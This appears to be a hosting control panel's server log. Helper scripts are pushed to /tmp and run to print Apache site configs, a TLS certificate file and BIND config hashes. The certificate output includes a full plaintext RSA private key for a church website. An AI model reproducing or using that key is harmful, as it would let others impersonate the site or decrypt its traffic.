         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
         port 443 namevhost youngrepairs.com (/etc/apache2/sites-enabled/youngrepairs_www_com.conf:27)
                 alias www.youngrepairs.com
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-01 12:52:12: 

PUT: /tmp/pkp104896

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/persianchurch_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-01 12:52:12: 

chmod 755 /tmp/pkp104896; /tmp/pkp104896; rm /tmp/pkp104896

2026-05-01 12:52:12: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/persianchurch_www_info.conf	1429

<VirtualHost *:80>
    ServerName	persianchurch.info
    ServerAlias	www.persianchurch.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/persianchurch_www
    <Directory /var/www/persianchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/persianchurch/www_access.log combined
    ErrorLog	/var/log/apache2/persianchurch/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	persianchurch.info
    ServerAlias	www.persianchurch.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8eb6e7ad55f500c5383398213d6ce103.crt
    DocumentRoot	/var/www/persianchurch_www
    <Directory /var/www/persianchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/persianchurch/www_secure_access.log combined
    ErrorLog	/var/log/apache2/persianchurch/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-05-01 12:52:12: 

PUT: /tmp/pkp989711

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/8eb6e7ad55f500c5383398213d6ce103.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-01 12:52:12: 

chmod 755 /tmp/pkp989711; /tmp/pkp989711; rm /tmp/pkp989711

2026-05-01 12:52:12: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/8eb6e7ad55f500c5383398213d6ce103.crt	5386
a7:ad:8e:62:f3:c1:21:dd:c1:0e:e5:fe:60:72:a9:3e

-----BEGIN CERTIFICATE-----
MIIFFzCCA/+gAwIBAgISBXJYI3Xg4c4X4ijydhdTY2RUMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNTAxMTE1MzQwWhcNMjYwNzMwMTE1MzM5WjAdMRswGQYDVQQD
ExJwZXJzaWFuY2h1cmNoLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDw2hn+LBplxL5e4M5MT70vWUk99Ivt/g9eqIdeGfUjjHPxTi0RBs5Qbace
hqJu5dFJT1PB81huZKZxtgecOaAvAgbDNHfoEq5yt6RWc7BIgdXfywYwRc0Hh+Mr
ZPrbOiEnmWO6n2nvdkG/sf44RovynTp/IhG695llJ8viPtTh2p0bWnFyPIjtHWet
NqJcUMGYMumQKksHKqYPsdSxb0NRYJSwlU5TK/uA6phSnIxVwz2U5Ghjvrx5TncV
OAW8ZiwdvgF8TWHg+6nd7H2RmonHzpNyN5GOisD7XUMfik/Xy3JYLerSwYkjv158
rV3Jg6h3RTEUU53ob3azOg+u2RP7AgMBAAGjggI5MIICNTAOBgNVHQ8BAf8EBAMC
BaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU
Bv3x6uTTmEL8mxpNJOD1QWhICJwwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yteD76
3OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEyLmku
bGVuY3Iub3JnLzA1BgNVHREELjAsghJwZXJzaWFuY2h1cmNoLmluZm+CFnd3dy5w
ZXJzaWFuY2h1cmNoLmluZm8wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcw
JTAjoCGgH4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy84NS5jcmwwggENBgorBgEE
AdZ5AgQCBIH+BIH7APkAdwDIo8R/x7OtuTVrAT9qehJt4zpOQ6XGRvmXrTl1mR3P
mgAAAZ3jmLqlAAAEAwBIMEYCIQC4OnflxmhKG4hOL1vvmHiAC52CzaYUTiZ7dCet
fHrqlwIhALBB4ohPaeE+egDTYdGm6yJubuirdTAQ1GQjBPC8heV3AH4AbP5QGUOo
XqkWvFLRM+TcyR7xQRx9JYQg0XOAnhgY6zoAAAGd45i9DgAIAAAFAAmKCvEEAwBH
MEUCICsaaQUnaIYIG7dXIeHeDTblAtV/JzIIPVhHxYK4nMdhAiEArkhFjhaHO25E
WHXMteeXZ2dkjfcMxtb1guAWR2u31O4wDQYJKoZIhvcNAQELBQADggEBAEwu90Mm
mmbdZohlEaTa3Gkesm04Pia6OXTcNISFX3DnPODAWuKRWSI9CZffYd6x/LqmR3w2
NKVItlGBiWgQwk2wRT4NO7BllwcPwFGEL+eseUK79EnVNo/FJdsItKX8ovlYQVjo
YQZAFmvs/c246XcMHj20LcRewGnsPQES4GGLPwV6mAyiMLhX5IYUGXpb6DRB7m99
U92pbd8nbIoTGsRKV5JN3z7VVbE9/hwl72FiIoUxZ66XuUWwXu+ttJ2eQt6iNklD
4U1KdgFfVrVt6wyo6AC5RWTACUrmapY9GbRUFAndJGBfM67lITyVihJpC/D+Ws+0
192SlkVGhiX/d0c=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDw2hn+LBplxL5e
4M5MT70vWUk99Ivt/g9eqIdeGfUjjHPxTi0RBs5QbacehqJu5dFJT1PB81huZKZx
tgecOaAvAgbDNHfoEq5yt6RWc7BIgdXfywYwRc0Hh+MrZPrbOiEnmWO6n2nvdkG/
sf44RovynTp/IhG695llJ8viPtTh2p0bWnFyPIjtHWetNqJcUMGYMumQKksHKqYP
sdSxb0NRYJSwlU5TK/uA6phSnIxVwz2U5Ghjvrx5TncVOAW8ZiwdvgF8TWHg+6nd
7H2RmonHzpNyN5GOisD7XUMfik/Xy3JYLerSwYkjv158rV3Jg6h3RTEUU53ob3az
Og+u2RP7AgMBAAECggEABxHn5o5uZjSP5msmEP0xSxyNaiPtlzQFWhQUCKMT9cU2
D0Ol1vKLKeo7bYVmJugUTmoYrFn58/4FGSkTCnKlZJaGVwbnF1xN0zk+MWhm01mC
/kIdPluUCuz7h25mtC3brkoyFr06Nb8tjYFqbYpEVMzPuiP5lIe5gcM2y9BoJazj
7YZuZ6a0S8xMQ4TvDo+MdVyLL2vwRZPp4wjE0o1+HW/3epP8NYiSq7vAB7Kao00H
0k5Othw66kQ0WJONm9HBelpXTb+8bnhpEMdar2zPCCU+Y02CzR/e5AVEXpvUG/7G
TSDm4npSvssTnwlA1IALu/RXw4XhkUbQTBnM+iU36QKBgQD+xq+XOxHAKmGHKDtH
2iM4vS4rmZRKSBAoVIal3Mtlb1+xuX1F6DUcPwI5MFYwIOAsBpXgPUCT38Qqdi4j
3bE0KsIkZgZDxpsvCufwV7iW333LYyarlF09rd+4ZxuZT8a5nG1nOqae+01TTfXD
W9DvILJl72RG7UO0oTZiovhe2QKBgQDyAkrPZih9NNSzOUuLy3XEonryx6BCXL0H
wrhDVrCLP/R1vOtiaF4NI9Jbggm5KU4WNWSUYbxJYoH/lXUfb/E5Wl/A4afeP+pY
xKJsrewkvF+4lvSDdGdqQVZwDA9NXrlL9a/TNINGl5xzrrR/jvy2Rwib3kWiS/q3
LuHnuH/s8wKBgHfdICVFTB+dkM7WtbUjQqjiEEPA+IxOBRQEWGjWTPcHA/2IaBCo
o7wLRM+FFzeDcBQmcQLTrnsjrpXPjfufxEvnxfj76vyeBsqGFgL0MksBEJzMpBfb
MFbhY7zM/aYOa09N8ga8CEIJtyJ3LiXgH5cxSd09WG8qF012/zA+vh1ZAoGAcHUs
OlAohHYmWNpJBr8XDLbMF0E4cV4S4SZU5cXE6BBiEswlPWduPQDmYWt+BTLyfFN3
V5RLIHbMHe5frKoiGBqs4D57+UUOKw3ExGfVkgSPHoHXQba3z6Jo/kw8WCGqTWfv
ul9umUEejIskiRnyyOkdUQDqrs5LxQ/eHgWYPI0CgYEAkrRp5dtYtT1vyEl5LXlR
s9FAYtU/mK4u/OlAJF1ve73K3SRppwyAymEFPJwGXJCIvtZ1qWCxxvpExpv5Sm0X
aCQOh5LvHFJINQIb8xOUWoldvzKZ8BY+HAD4uM8+nnw+p65yaSnsNxBLjhtlzKz3
n/qw0ttK9dx7LVaTn40loe8=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-05-02 06:00:03: Establishing a remote connection
2026-05-02 08:36:36: Establishing a connection
2026-05-02 08:36:43: Establishing a connection
2026-05-02 08:36:43: 

PUT: /tmp/pkp834585

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-02 08:36:44: 

runuser -l bind -s /bin/bash -c '/tmp/pkp834585; rm /tmp/pkp834585'

2026-05-02 08:36:44: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
